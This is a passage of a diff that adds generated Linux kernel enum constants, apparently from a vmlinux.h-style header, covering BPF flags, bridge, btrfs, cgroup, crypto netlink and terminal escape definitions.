+ BPF_FIB_LKUP_RET_FRAG_NEEDED = 8, + BPF_FIB_LKUP_RET_NO_SRC_ADDR = 9, +}; + +enum { + BPF_FIB_LOOKUP_DIRECT = 1, + BPF_FIB_LOOKUP_OUTPUT = 2, + BPF_FIB_LOOKUP_SKIP_NEIGH = 4, + BPF_FIB_LOOKUP_TBID = 8, + BPF_FIB_LOOKUP_SRC = 16, + BPF_FIB_LOOKUP_MARK = 32, +}; + +enum { + BPF_F_ADJ_ROOM_FIXED_GSO = 1, + BPF_F_ADJ_ROOM_ENCAP_L3_IPV4 = 2, + BPF_F_ADJ_ROOM_ENCAP_L3_IPV6 = 4, + BPF_F_ADJ_ROOM_ENCAP_L4_GRE = 8, + BPF_F_ADJ_ROOM_ENCAP_L4_UDP = 16, + BPF_F_ADJ_ROOM_NO_CSUM_RESET = 32, + BPF_F_ADJ_ROOM_ENCAP_L2_ETH = 64, + BPF_F_ADJ_ROOM_DECAP_L3_IPV4 = 128, + BPF_F_ADJ_ROOM_DECAP_L3_IPV6 = 256, +}; + +enum { + BPF_F_BROADCAST = 8, + BPF_F_EXCLUDE_INGRESS = 16, +}; + +enum { + BPF_F_CURRENT_NETNS = -1, +}; + +enum { + BPF_F_GET_BRANCH_RECORDS_SIZE = 1, +}; + +enum { + BPF_F_HDR_FIELD_MASK = 15, +}; + +enum { + BPF_F_INDEX_MASK = 4294967295ULL, + BPF_F_CURRENT_CPU = 4294967295ULL, + BPF_F_CTXLEN_MASK = 4503595332403200ULL, +}; + +enum { + BPF_F_INGRESS = 1, +}; + +enum { + BPF_F_NEIGH = 2, + BPF_F_PEER = 4, + BPF_F_NEXTHOP = 8, +}; + +enum { + BPF_F_NO_PREALLOC = 1, + BPF_F_NO_COMMON_LRU = 2, + BPF_F_NUMA_NODE = 4, + BPF_F_RDONLY = 8, + BPF_F_WRONLY = 16, + BPF_F_STACK_BUILD_ID = 32, + BPF_F_ZERO_SEED = 64, + BPF_F_RDONLY_PROG = 128, + BPF_F_WRONLY_PROG = 256, + BPF_F_CLONE = 512, + BPF_F_MMAPABLE = 1024, + BPF_F_PRESERVE_ELEMS = 2048, + BPF_F_INNER_MAP = 4096, + BPF_F_LINK = 8192, + BPF_F_PATH_FD = 16384, + BPF_F_VTYPE_BTF_OBJ_FD = 32768, + BPF_F_TOKEN_FD = 65536, + BPF_F_SEGV_ON_FAULT = 131072, + BPF_F_NO_USER_CONV = 262144, +}; + +enum { + BPF_F_PSEUDO_HDR = 16, + BPF_F_MARK_MANGLED_0 = 32, + BPF_F_MARK_ENFORCE = 64, +}; + +enum { + BPF_F_RECOMPUTE_CSUM = 1, + BPF_F_INVALIDATE_HASH = 2, +}; + +enum { + BPF_F_SKIP_FIELD_MASK = 255, + BPF_F_USER_STACK = 256, + BPF_F_FAST_STACK_CMP = 512, + BPF_F_REUSE_STACKID = 1024, + BPF_F_USER_BUILD_ID = 2048, +}; + +enum { + BPF_F_SYSCTL_BASE_NAME = 1, +}; + +enum { + BPF_F_TIMER_ABS = 1, + BPF_F_TIMER_CPU_PIN = 2, +}; + +enum { + BPF_F_TUNINFO_FLAGS = 16, +}; + +enum { + BPF_F_TUNINFO_IPV6 = 1, +}; + +enum { + BPF_F_UPROBE_MULTI_RETURN = 1, +}; + +enum { + BPF_F_ZERO_CSUM_TX = 2, + BPF_F_DONT_FRAGMENT = 4, + BPF_F_SEQ_NUMBER = 8, + BPF_F_NO_TUNNEL_KEY = 16, +}; + +enum { + BPF_LOAD_HDR_OPT_TCP_SYN = 1, +}; + +enum { + BPF_LOCAL_STORAGE_GET_F_CREATE = 1, + BPF_SK_STORAGE_GET_F_CREATE = 1, +}; + +enum { + BPF_MAX_LOOPS = 8388608, +}; + +enum { + BPF_MAX_TRAMP_LINKS = 38, +}; + +enum { + BPF_RB_AVAIL_DATA = 0, + BPF_RB_RING_SIZE = 1, + BPF_RB_CONS_POS = 2, + BPF_RB_PROD_POS = 3, +}; + +enum { + BPF_RB_NO_WAKEUP = 1, + BPF_RB_FORCE_WAKEUP = 2, +}; + +enum { + BPF_REG_0 = 0, + BPF_REG_1 = 1, + BPF_REG_2 = 2, + BPF_REG_3 = 3, + BPF_REG_4 = 4, + BPF_REG_5 = 5, + BPF_REG_6 = 6, + BPF_REG_7 = 7, + BPF_REG_8 = 8, + BPF_REG_9 = 9, + BPF_REG_10 = 10, + __MAX_BPF_REG = 11, +}; + +enum { + BPF_RINGBUF_BUSY_BIT = 2147483648, + BPF_RINGBUF_DISCARD_BIT = 1073741824, + BPF_RINGBUF_HDR_SZ = 8, +}; + +enum { + BPF_SKB_TSTAMP_UNSPEC = 0, + BPF_SKB_TSTAMP_DELIVERY_MONO = 1, + BPF_SKB_CLOCK_REALTIME = 0, + BPF_SKB_CLOCK_MONOTONIC = 1, + BPF_SKB_CLOCK_TAI = 2, +}; + +enum { + BPF_SK_LOOKUP_F_REPLACE = 1, + BPF_SK_LOOKUP_F_NO_REUSEPORT = 2, +}; + +enum { + BPF_SOCK_OPS_RTO_CB_FLAG = 1, + BPF_SOCK_OPS_RETRANS_CB_FLAG = 2, + BPF_SOCK_OPS_STATE_CB_FLAG = 4, + BPF_SOCK_OPS_RTT_CB_FLAG = 8, + BPF_SOCK_OPS_PARSE_ALL_HDR_OPT_CB_FLAG = 16, + BPF_SOCK_OPS_PARSE_UNKNOWN_HDR_OPT_CB_FLAG = 32, + BPF_SOCK_OPS_WRITE_HDR_OPT_CB_FLAG = 64, + BPF_SOCK_OPS_ALL_CB_FLAGS = 127, +}; + +enum { + BPF_SOCK_OPS_VOID = 0, + BPF_SOCK_OPS_TIMEOUT_INIT = 1, + BPF_SOCK_OPS_RWND_INIT = 2, + BPF_SOCK_OPS_TCP_CONNECT_CB = 3, + BPF_SOCK_OPS_ACTIVE_ESTABLISHED_CB = 4, + BPF_SOCK_OPS_PASSIVE_ESTABLISHED_CB = 5, + BPF_SOCK_OPS_NEEDS_ECN = 6, + BPF_SOCK_OPS_BASE_RTT = 7, + BPF_SOCK_OPS_RTO_CB = 8, + BPF_SOCK_OPS_RETRANS_CB = 9, + BPF_SOCK_OPS_STATE_CB = 10, + BPF_SOCK_OPS_TCP_LISTEN_CB = 11, + BPF_SOCK_OPS_RTT_CB = 12, + BPF_SOCK_OPS_PARSE_HDR_OPT_CB = 13, + BPF_SOCK_OPS_HDR_OPT_LEN_CB = 14, + BPF_SOCK_OPS_WRITE_HDR_OPT_CB = 15, +}; + +enum { + BPF_TASK_ITER_ALL_PROCS = 0, + BPF_TASK_ITER_ALL_THREADS = 1, + BPF_TASK_ITER_PROC_THREADS = 2, +}; + +enum { + BPF_TCP_ESTABLISHED = 1, + BPF_TCP_SYN_SENT = 2, + BPF_TCP_SYN_RECV = 3, + BPF_TCP_FIN_WAIT1 = 4, + BPF_TCP_FIN_WAIT2 = 5, + BPF_TCP_TIME_WAIT = 6, + BPF_TCP_CLOSE = 7, + BPF_TCP_CLOSE_WAIT = 8, + BPF_TCP_LAST_ACK = 9, + BPF_TCP_LISTEN = 10, + BPF_TCP_CLOSING = 11, + BPF_TCP_NEW_SYN_RECV = 12, + BPF_TCP_BOUND_INACTIVE = 13, + BPF_TCP_MAX_STATES = 14, +}; + +enum { + BPF_WRITE_HDR_TCP_CURRENT_MSS = 1, + BPF_WRITE_HDR_TCP_SYNACK_COOKIE = 2, +}; + +enum { + BRIDGE_QUERIER_UNSPEC = 0, + BRIDGE_QUERIER_IP_ADDRESS = 1, + BRIDGE_QUERIER_IP_PORT = 2, + BRIDGE_QUERIER_IP_OTHER_TIMER = 3, + BRIDGE_QUERIER_PAD = 4, + BRIDGE_QUERIER_IPV6_ADDRESS = 5, + BRIDGE_QUERIER_IPV6_PORT = 6, + BRIDGE_QUERIER_IPV6_OTHER_TIMER = 7, + __BRIDGE_QUERIER_MAX = 8, +}; + +enum { + BRIDGE_XSTATS_UNSPEC = 0, + BRIDGE_XSTATS_VLAN = 1, + BRIDGE_XSTATS_MCAST = 2, + BRIDGE_XSTATS_PAD = 3, + BRIDGE_XSTATS_STP = 4, + __BRIDGE_XSTATS_MAX = 5, +}; + +enum { + BR_FDB_LOCAL = 0, + BR_FDB_STATIC = 1, + BR_FDB_STICKY = 2, + BR_FDB_ADDED_BY_USER = 3, + BR_FDB_ADDED_BY_EXT_LEARN = 4, + BR_FDB_OFFLOADED = 5, + BR_FDB_NOTIFY = 6, + BR_FDB_NOTIFY_INACTIVE = 7, + BR_FDB_LOCKED = 8, + BR_FDB_DYNAMIC_LEARNED = 9, +}; + +enum { + BR_GROUPFWD_STP = 1, + BR_GROUPFWD_MACPAUSE = 2, + BR_GROUPFWD_LACP = 4, +}; + +enum { + BR_MCAST_DIR_RX = 0, + BR_MCAST_DIR_TX = 1, + BR_MCAST_DIR_SIZE = 2, +}; + +enum { + BR_VLFLAG_PER_PORT_STATS = 1, + BR_VLFLAG_ADDED_BY_SWITCHDEV = 2, + BR_VLFLAG_MCAST_ENABLED = 4, + BR_VLFLAG_GLOBAL_MCAST_ENABLED = 8, + BR_VLFLAG_NEIGH_SUPPRESS_ENABLED = 16, +}; + +enum { + BTF_FIELD_IGNORE = 0, + BTF_FIELD_FOUND = 1, +}; + +enum { + BTF_F_COMPACT = 1, + BTF_F_NONAME = 2, + BTF_F_PTR_RAW = 4, + BTF_F_ZERO = 8, +}; + +enum { + BTF_KFUNC_SET_MAX_CNT = 256, + BTF_DTOR_KFUNC_MAX_CNT = 256, + BTF_KFUNC_FILTER_MAX_CNT = 16, +}; + +enum { + BTF_KIND_UNKN = 0, + BTF_KIND_INT = 1, + BTF_KIND_PTR = 2, + BTF_KIND_ARRAY = 3, + BTF_KIND_STRUCT = 4, + BTF_KIND_UNION = 5, + BTF_KIND_ENUM = 6, + BTF_KIND_FWD = 7, + BTF_KIND_TYPEDEF = 8, + BTF_KIND_VOLATILE = 9, + BTF_KIND_CONST = 10, + BTF_KIND_RESTRICT = 11, + BTF_KIND_FUNC = 12, + BTF_KIND_FUNC_PROTO = 13, + BTF_KIND_VAR = 14, + BTF_KIND_DATASEC = 15, + BTF_KIND_FLOAT = 16, + BTF_KIND_DECL_TAG = 17, + BTF_KIND_TYPE_TAG = 18, + BTF_KIND_ENUM64 = 19, + NR_BTF_KINDS = 20, + BTF_KIND_MAX = 19, +}; + +enum { + BTF_MODULE_F_LIVE = 1, +}; + +enum { + BTF_SOCK_TYPE_INET = 0, + BTF_SOCK_TYPE_INET_CONN = 1, + BTF_SOCK_TYPE_INET_REQ = 2, + BTF_SOCK_TYPE_INET_TW = 3, + BTF_SOCK_TYPE_REQ = 4, + BTF_SOCK_TYPE_SOCK = 5, + BTF_SOCK_TYPE_SOCK_COMMON = 6, + BTF_SOCK_TYPE_TCP = 7, + BTF_SOCK_TYPE_TCP_REQ = 8, + BTF_SOCK_TYPE_TCP_TW = 9, + BTF_SOCK_TYPE_TCP6 = 10, + BTF_SOCK_TYPE_UDP = 11, + BTF_SOCK_TYPE_UDP6 = 12, + BTF_SOCK_TYPE_UNIX = 13, + BTF_SOCK_TYPE_MPTCP = 14, + BTF_SOCK_TYPE_SOCKET = 15, + MAX_BTF_SOCK_TYPE = 16, +}; + +enum { + BTF_TRACING_TYPE_TASK = 0, + BTF_TRACING_TYPE_FILE = 1, + BTF_TRACING_TYPE_VMA = 2, + MAX_BTF_TRACING_TYPE = 3, +}; + +enum { + BTF_VAR_STATIC = 0, + BTF_VAR_GLOBAL_ALLOCATED = 1, + BTF_VAR_GLOBAL_EXTERN = 2, +}; + +enum { + BTRFS_FILE_EXTENT_INLINE = 0, + BTRFS_FILE_EXTENT_REG = 1, + BTRFS_FILE_EXTENT_PREALLOC = 2, + BTRFS_NR_FILE_EXTENT_TYPES = 3, +}; + +enum { + BTRFS_FS_CLOSING_START = 0, + BTRFS_FS_CLOSING_DONE = 1, + BTRFS_FS_LOG_RECOVERING = 2, + BTRFS_FS_OPEN = 3, + BTRFS_FS_QUOTA_ENABLED = 4, + BTRFS_FS_UPDATE_UUID_TREE_GEN = 5, + BTRFS_FS_CREATING_FREE_SPACE_TREE = 6, + BTRFS_FS_BTREE_ERR = 7, + BTRFS_FS_LOG1_ERR = 8, + BTRFS_FS_LOG2_ERR = 9, + BTRFS_FS_QUOTA_OVERRIDE = 10, + BTRFS_FS_FROZEN = 11, + BTRFS_FS_BALANCE_RUNNING = 12, + BTRFS_FS_RELOC_RUNNING = 13, + BTRFS_FS_CLEANER_RUNNING = 14, + BTRFS_FS_CSUM_IMPL_FAST = 15, + BTRFS_FS_DISCARD_RUNNING = 16, + BTRFS_FS_CLEANUP_SPACE_CACHE_V1 = 17, + BTRFS_FS_FREE_SPACE_TREE_UNTRUSTED = 18, + BTRFS_FS_TREE_MOD_LOG_USERS = 19, + BTRFS_FS_COMMIT_TRANS = 20, + BTRFS_FS_UNFINISHED_DROPS = 21, + BTRFS_FS_NEED_ZONE_FINISH = 22, + BTRFS_FS_NEED_TRANS_COMMIT = 23, + BTRFS_FS_ACTIVE_ZONE_TRACKING = 24, + BTRFS_FS_FEATURE_CHANGED = 25, + BTRFS_FS_UNALIGNED_TREE_BLOCK = 26, +}; + +enum { + BTRFS_FS_STATE_REMOUNTING = 0, + BTRFS_FS_STATE_RO = 1, + BTRFS_FS_STATE_TRANS_ABORTED = 2, + BTRFS_FS_STATE_DEV_REPLACING = 3, + BTRFS_FS_STATE_DUMMY_FS_INFO = 4, + BTRFS_FS_STATE_NO_DATA_CSUMS = 5, + BTRFS_FS_STATE_SKIP_META_CSUMS = 6, + BTRFS_FS_STATE_LOG_CLEANUP_ERROR = 7, + BTRFS_FS_STATE_COUNT = 8, +}; + +enum { + BTRFS_INODE_FLUSH_ON_CLOSE = 0, + BTRFS_INODE_DUMMY = 1, + BTRFS_INODE_IN_DEFRAG = 2, + BTRFS_INODE_HAS_ASYNC_EXTENT = 3, + BTRFS_INODE_NEEDS_FULL_SYNC = 4, + BTRFS_INODE_COPY_EVERYTHING = 5, + BTRFS_INODE_HAS_PROPS = 6, + BTRFS_INODE_SNAPSHOT_FLUSH = 7, + BTRFS_INODE_NO_XATTRS = 8, + BTRFS_INODE_NO_DELALLOC_FLUSH = 9, + BTRFS_INODE_VERITY_IN_PROGRESS = 10, + BTRFS_INODE_FREE_SPACE_INODE = 11, + BTRFS_INODE_NO_CAP_XATTR = 12, + BTRFS_INODE_COW_WRITE_ERROR = 13, + BTRFS_INODE_ROOT_STUB = 14, +}; + +enum { + BTRFS_MOUNT_NODATASUM = 1ULL, + BTRFS_MOUNT_NODATACOW = 2ULL, + BTRFS_MOUNT_NOBARRIER = 4ULL, + BTRFS_MOUNT_SSD = 8ULL, + BTRFS_MOUNT_DEGRADED = 16ULL, + BTRFS_MOUNT_COMPRESS = 32ULL, + BTRFS_MOUNT_NOTREELOG = 64ULL, + BTRFS_MOUNT_FLUSHONCOMMIT = 128ULL, + BTRFS_MOUNT_SSD_SPREAD = 256ULL, + BTRFS_MOUNT_NOSSD = 512ULL, + BTRFS_MOUNT_DISCARD_SYNC = 1024ULL, + BTRFS_MOUNT_FORCE_COMPRESS = 2048ULL, + BTRFS_MOUNT_SPACE_CACHE = 4096ULL, + BTRFS_MOUNT_CLEAR_CACHE = 8192ULL, + BTRFS_MOUNT_USER_SUBVOL_RM_ALLOWED = 16384ULL, + BTRFS_MOUNT_ENOSPC_DEBUG = 32768ULL, + BTRFS_MOUNT_AUTO_DEFRAG = 65536ULL, + BTRFS_MOUNT_USEBACKUPROOT = 131072ULL, + BTRFS_MOUNT_SKIP_BALANCE = 262144ULL, + BTRFS_MOUNT_PANIC_ON_FATAL_ERROR = 524288ULL, + BTRFS_MOUNT_RESCAN_UUID_TREE = 1048576ULL, + BTRFS_MOUNT_FRAGMENT_DATA = 2097152ULL, + BTRFS_MOUNT_FRAGMENT_METADATA = 4194304ULL, + BTRFS_MOUNT_FREE_SPACE_TREE = 8388608ULL, + BTRFS_MOUNT_NOLOGREPLAY = 16777216ULL, + BTRFS_MOUNT_REF_VERIFY = 33554432ULL, + BTRFS_MOUNT_DISCARD_ASYNC = 67108864ULL, + BTRFS_MOUNT_IGNOREBADROOTS = 134217728ULL, + BTRFS_MOUNT_IGNOREDATACSUMS = 268435456ULL, + BTRFS_MOUNT_NODISCARD = 536870912ULL, + BTRFS_MOUNT_NOSPACECACHE = 1073741824ULL, + BTRFS_MOUNT_IGNOREMETACSUMS = 2147483648ULL, + BTRFS_MOUNT_IGNORESUPERFLAGS = 4294967296ULL, +}; + +enum { + BTRFS_ORDERED_REGULAR = 0, + BTRFS_ORDERED_NOCOW = 1, + BTRFS_ORDERED_PREALLOC = 2, + BTRFS_ORDERED_COMPRESSED = 3, + BTRFS_ORDERED_DIRECT = 4, + BTRFS_ORDERED_IO_DONE = 5, + BTRFS_ORDERED_COMPLETE = 6, + BTRFS_ORDERED_IOERR = 7, + BTRFS_ORDERED_TRUNCATED = 8, + BTRFS_ORDERED_LOGGED = 9, + BTRFS_ORDERED_LOGGED_CSUM = 10, + BTRFS_ORDERED_PENDING = 11, + BTRFS_ORDERED_ENCODED = 12, +}; + +enum { + BTRFS_ROOT_IN_TRANS_SETUP = 0, + BTRFS_ROOT_SHAREABLE = 1, + BTRFS_ROOT_TRACK_DIRTY = 2, + BTRFS_ROOT_IN_RADIX = 3, + BTRFS_ROOT_ORPHAN_ITEM_INSERTED = 4, + BTRFS_ROOT_DEFRAG_RUNNING = 5, + BTRFS_ROOT_FORCE_COW = 6, + BTRFS_ROOT_MULTI_LOG_TASKS = 7, + BTRFS_ROOT_DIRTY = 8, + BTRFS_ROOT_DELETING = 9, + BTRFS_ROOT_DEAD_RELOC_TREE = 10, + BTRFS_ROOT_DEAD_TREE = 11, + BTRFS_ROOT_HAS_LOG_TREE = 12, + BTRFS_ROOT_QGROUP_FLUSHING = 13, + BTRFS_ROOT_ORPHAN_CLEANUP = 14, + BTRFS_ROOT_UNFINISHED_DROP = 15, + BTRFS_ROOT_RESET_LOCKDEP_CLASS = 16, +}; + +enum { + BTRFS_SEND_A_UNSPEC = 0, + BTRFS_SEND_A_UUID = 1, + BTRFS_SEND_A_CTRANSID = 2, + BTRFS_SEND_A_INO = 3, + BTRFS_SEND_A_SIZE = 4, + BTRFS_SEND_A_MODE = 5, + BTRFS_SEND_A_UID = 6, + BTRFS_SEND_A_GID = 7, + BTRFS_SEND_A_RDEV = 8, + BTRFS_SEND_A_CTIME = 9, + BTRFS_SEND_A_MTIME = 10, + BTRFS_SEND_A_ATIME = 11, + BTRFS_SEND_A_OTIME = 12, + BTRFS_SEND_A_XATTR_NAME = 13, + BTRFS_SEND_A_XATTR_DATA = 14, + BTRFS_SEND_A_PATH = 15, + BTRFS_SEND_A_PATH_TO = 16, + BTRFS_SEND_A_PATH_LINK = 17, + BTRFS_SEND_A_FILE_OFFSET = 18, + BTRFS_SEND_A_DATA = 19, + BTRFS_SEND_A_CLONE_UUID = 20, + BTRFS_SEND_A_CLONE_CTRANSID = 21, + BTRFS_SEND_A_CLONE_PATH = 22, + BTRFS_SEND_A_CLONE_OFFSET = 23, + BTRFS_SEND_A_CLONE_LEN = 24, + BTRFS_SEND_A_MAX_V1 = 24, + BTRFS_SEND_A_FALLOCATE_MODE = 25, + BTRFS_SEND_A_FILEATTR = 26, + BTRFS_SEND_A_UNENCODED_FILE_LEN = 27, + BTRFS_SEND_A_UNENCODED_LEN = 28, + BTRFS_SEND_A_UNENCODED_OFFSET = 29, + BTRFS_SEND_A_COMPRESSION = 30, + BTRFS_SEND_A_ENCRYPTION = 31, + BTRFS_SEND_A_MAX_V2 = 31, + BTRFS_SEND_A_VERITY_ALGORITHM = 32, + BTRFS_SEND_A_VERITY_BLOCK_SIZE = 33, + BTRFS_SEND_A_VERITY_SALT_DATA = 34, + BTRFS_SEND_A_VERITY_SIG_DATA = 35, + BTRFS_SEND_A_MAX_V3 = 35, + __BTRFS_SEND_A_MAX = 35, +}; + +enum { + BTRFS_STAT_CURR = 0, + BTRFS_STAT_PREV = 1, + BTRFS_STAT_NR_ENTRIES = 2, +}; + +enum { + BTS_STATE_STOPPED = 0, + BTS_STATE_INACTIVE = 1, + BTS_STATE_ACTIVE = 2, +}; + +enum { + Blktrace_setup = 1, + Blktrace_running = 2, + Blktrace_stopped = 3, +}; + +enum { + CCUT_IDX_1R_2G = 0, + CCUT_IDX_2R_2G = 1, + CCUT_IDX_1R_5G = 2, + CCUT_IDX_2R_5G = 3, + CCUT_IDX_NR = 4, +}; + +enum { + CFTYPE_ONLY_ON_ROOT = 1, + CFTYPE_NOT_ON_ROOT = 2, + CFTYPE_NS_DELEGATABLE = 4, + CFTYPE_NO_PREFIX = 8, + CFTYPE_WORLD_WRITABLE = 16, + CFTYPE_DEBUG = 32, + __CFTYPE_ONLY_ON_DFL = 65536, + __CFTYPE_NOT_ON_DFL = 131072, + __CFTYPE_ADDED = 262144, +}; + +enum { + CGROUPSTATS_CMD_ATTR_UNSPEC = 0, + CGROUPSTATS_CMD_ATTR_FD = 1, + __CGROUPSTATS_CMD_ATTR_MAX = 2, +}; + +enum { + CGROUPSTATS_CMD_UNSPEC = 3, + CGROUPSTATS_CMD_GET = 4, + CGROUPSTATS_CMD_NEW = 5, + __CGROUPSTATS_CMD_MAX = 6, +}; + +enum { + CGROUPSTATS_TYPE_UNSPEC = 0, + CGROUPSTATS_TYPE_CGROUP_STATS = 1, + __CGROUPSTATS_TYPE_MAX = 2, +}; + +enum { + CGRP_NOTIFY_ON_RELEASE = 0, + CGRP_CPUSET_CLONE_CHILDREN = 1, + CGRP_FREEZE = 2, + CGRP_FROZEN = 3, + CGRP_KILL = 4, +}; + +enum { + CGRP_ROOT_NOPREFIX = 2, + CGRP_ROOT_XATTR = 4, + CGRP_ROOT_NS_DELEGATE = 8, + CGRP_ROOT_FAVOR_DYNMODS = 16, + CGRP_ROOT_CPUSET_V2_MODE = 65536, + CGRP_ROOT_MEMORY_LOCAL_EVENTS = 131072, + CGRP_ROOT_MEMORY_RECURSIVE_PROT = 262144, + CGRP_ROOT_MEMORY_HUGETLB_ACCOUNTING = 524288, + CGRP_ROOT_PIDS_LOCAL_EVENTS = 1048576, +}; + +enum { + CHANNEL_MODE_LEGACY = 0, + CHANNEL_MODE_PURE_40 = 1, + CHANNEL_MODE_MIXED = 2, + CHANNEL_MODE_RESERVED = 3, +}; + +enum { + CMIS_MODULE_LOW_PWR = 1, + CMIS_MODULE_READY = 3, +}; + +enum { + COST_CTRL = 0, + COST_MODEL = 1, + NR_COST_CTRL_PARAMS = 2, +}; + +enum { + CRNG_EMPTY = 0, + CRNG_EARLY = 1, + CRNG_READY = 2, +}; + +enum { + CRNG_RESEED_START_INTERVAL = 1000, + CRNG_RESEED_INTERVAL = 60000, +}; + +enum { + CRYPTOA_UNSPEC = 0, + CRYPTOA_ALG = 1, + CRYPTOA_TYPE = 2, + __CRYPTOA_MAX = 3, +}; + +enum { + CRYPTO_AUTHENC_KEYA_UNSPEC = 0, + CRYPTO_AUTHENC_KEYA_PARAM = 1, +}; + +enum { + CRYPTO_MSG_ALG_REQUEST = 0, + CRYPTO_MSG_ALG_REGISTER = 1, + CRYPTO_MSG_ALG_LOADED = 2, +}; + +enum { + CSD_FLAG_LOCK = 1, + IRQ_WORK_PENDING = 1, + IRQ_WORK_BUSY = 2, + IRQ_WORK_LAZY = 4, + IRQ_WORK_HARD_IRQ = 8, + IRQ_WORK_CLAIMED = 3, + CSD_TYPE_ASYNC = 0, + CSD_TYPE_SYNC = 16, + CSD_TYPE_IRQ_WORK = 32, + CSD_TYPE_TTWU = 48, + CSD_FLAG_TYPE_MASK = 240, +}; + +enum { + CSI_DEC_hl_CURSOR_KEYS = 1, + CSI_DEC_hl_132_COLUMNS = 3, + CSI_DEC_hl_REVERSE_VIDEO = 5, + CSI_DEC_hl_ORIGIN_MODE = 6, + CSI_DEC_hl_AUTOWRAP = 7, + CSI_DEC_hl_AUTOREPEAT = 8, + CSI_DEC_hl_MOUSE_X10 = 9, + CSI_DEC_hl_SHOW_CURSOR = 25, + CSI_DEC_hl_MOUSE_VT200 = 1000, +}; + +enum { + CSI_K_CURSOR_TO_LINEEND = 0, + CSI_K_LINESTART_TO_CURSOR = 1, + CSI_K_LINE = 2, +}; + +enum { + CSI_hl_DISPLAY_CTRL = 3, + CSI_hl_INSERT = 4, + CSI_hl_AUTO_NL = 20, +}; + +enum { + CSI_m_DEFAULT = 0, + CSI_m_BOLD = 1, + CSI_m_HALF_BRIGHT = 2, + CSI_m_ITALIC = 3, + CSI_m_UNDERLINE = 4, + CSI_m_BLINK = 5, + CSI_m_REVERSE = 7, + CSI_m_PRI_FONT = 10, + CSI_m_ALT_FONT1 = 11, + CSI_m_ALT_FONT2 = 12, + CSI_m_DOUBLE_UNDERLINE = 21, + CSI_m_NORMAL_INTENSITY = 22, + CSI_m_NO_ITALIC = 23, + CSI_m_NO_UNDERLINE = 24, + CSI_m_NO_BLINK = 25, + CSI_m_NO_REVERSE = 27, + CSI_m_FG_COLOR_BEG = 30, + CSI_m_FG_COLOR_END = 37, + CSI_m_FG_COLOR = 38, + CSI_m_DEFAULT_FG_COLOR = 39, + CSI_m_BG_COLOR_BEG = 40, + CSI_m_BG_COLOR_END = 47, + CSI_m_BG_COLOR = 48, + CSI_m_DEFAULT_BG_COLOR = 49, + CSI_m_BRIGHT_FG_COLOR_BEG = 90, + CSI_m_BRIGHT_FG_COLOR_END = 97, + CSI_m_BRIGHT_FG_COLOR_OFF = 60, + CSI_m_BRIGHT_BG_COLOR_BEG = 100, + CSI_m_BRIGHT_BG_COLOR_END = 107, + CSI_m_BRIGHT_BG_COLOR_OFF = 60, +}; + +enum { + CSS_NO_REF = 1, + CSS_ONLINE = 2, + CSS_RELEASED = 4, + CSS_VISIBLE = 8, + CSS_DYING = 16, +}; + +enum { + CSS_TASK_ITER_PROCS = 1, + CSS_TASK_ITER_THREADED = 2, + CSS_TASK_ITER_SKIPPED = 65536, +}; + +enum { + CTRL_ATTR_MCAST_GRP_UNSPEC = 0, + CTRL_ATTR_MCAST_GRP_NAME = 1, + CTRL_ATTR_MCAST_GRP_ID = 2, + __CTRL_ATTR_MCAST_GRP_MAX = 3, +}; + +enum { + CTRL_ATTR_OP_UNSPEC = 0, + CTRL_ATTR_OP_ID = 1, + CTRL_ATTR_OP_FLAGS = 2, + __CTRL_ATTR_OP_MAX = 3, +}; + +enum { + CTRL_ATTR_POLICY_UNSPEC = 0, + CTRL_ATTR_POLICY_DO = 1, + CTRL_ATTR_POLICY_DUMP = 2, + __CTRL_ATTR_POLICY_DUMP_MAX = 3, + CTRL_ATTR_POLICY_DUMP_MAX = 2, +}; + +enum { + CTRL_ATTR_UNSPEC = 0, + CTRL_ATTR_FAMILY_ID = 1, + CTRL_ATTR_FAMILY_NAME = 2, + CTRL_ATTR_VERSION = 3, + CTRL_ATTR_HDRSIZE = 4, + CTRL_ATTR_MAXATTR = 5, + CTRL_ATTR_OPS = 6, + CTRL_ATTR_MCAST_GROUPS = 7, + CTRL_ATTR_POLICY = 8, + CTRL_ATTR_OP_POLICY = 9, + CTRL_ATTR_OP = 10, + __CTRL_ATTR_MAX = 11, +}; + +enum { + CTRL_CMD_UNSPEC = 0, + CTRL_CMD_NEWFAMILY = 1, + CTRL_CMD_DELFAMILY = 2, + CTRL_CMD_GETFAMILY = 3, + CTRL_CMD_NEWOPS = 4, + CTRL_CMD_DELOPS = 5, + CTRL_CMD_GETOPS = 6, + CTRL_CMD_NEWMCAST_GRP = 7, + CTRL_CMD_DELMCAST_GRP = 8, + CTRL_CMD_GETMCAST_GRP = 9, + CTRL_CMD_GETPOLICY = 10, + __CTRL_CMD_MAX = 11, +}; + +enum { + DAD_PROCESS = 0, + DAD_BEGIN = 1, + DAD_ABORT = 2, +}; + +enum { + DCCPO_PADDING = 0, + DCCPO_MANDATORY = 1, + DCCPO_MIN_RESERVED = 3, + DCCPO_MAX_RESERVED = 31, + DCCPO_CHANGE_L = 32, + DCCPO_CONFIRM_L = 33, + DCCPO_CHANGE_R = 34, + DCCPO_CONFIRM_R = 35, + DCCPO_NDP_COUNT = 37, + DCCPO_ACK_VECTOR_0 = 38, + DCCPO_ACK_VECTOR_1 = 39, + DCCPO_TIMESTAMP = 41, + DCCPO_TIMESTAMP_ECHO = 42, + DCCPO_ELAPSED_TIME = 43, + DCCPO_MAX = 45, + DCCPO_MIN_RX_CCID_SPECIFIC = 128, + DCCPO_MAX_RX_CCID_SPECIFIC = 191, + DCCPO_MIN_TX_CCID_SPECIFIC = 192, + DCCPO_MAX_TX_CCID_SPECIFIC = 255, +}; + +enum { + DESC_TSS = 9, + DESC_LDT = 2, + DESCTYPE_S = 16, +}; + +enum { + DEVCONF_FORWARDING = 0, + DEVCONF_HOPLIMIT = 1, + DEVCONF_MTU6 = 2, + DEVCONF_ACCEPT_RA = 3, + DEVCONF_ACCEPT_REDIRECTS = 4, + DEVCONF_AUTOCONF = 5, + DEVCONF_DAD_TRANSMITS = 6, + DEVCONF_RTR_SOLICITS = 7, + DEVCONF_RTR_SOLICIT_INTERVAL = 8, + DEVCONF_RTR_SOLICIT_DELAY = 9, + DEVCONF_USE_TEMPADDR = 10, + DEVCONF_TEMP_VALID_LFT = 11, + DEVCONF_TEMP_PREFERED_LFT = 12, + DEVCONF_REGEN_MAX_RETRY = 13, + DEVCONF_MAX_DESYNC_FACTOR = 14, + DEVCONF_MAX_ADDRESSES = 15, + DEVCONF_FORCE_MLD_VERSION = 16, + DEVCONF_ACCEPT_RA_DEFRTR = 17, + DEVCONF_ACCEPT_RA_PINFO = 18, + DEVCONF_ACCEPT_RA_RTR_PREF = 19, + DEVCONF_RTR_PROBE_INTERVAL = 20, + 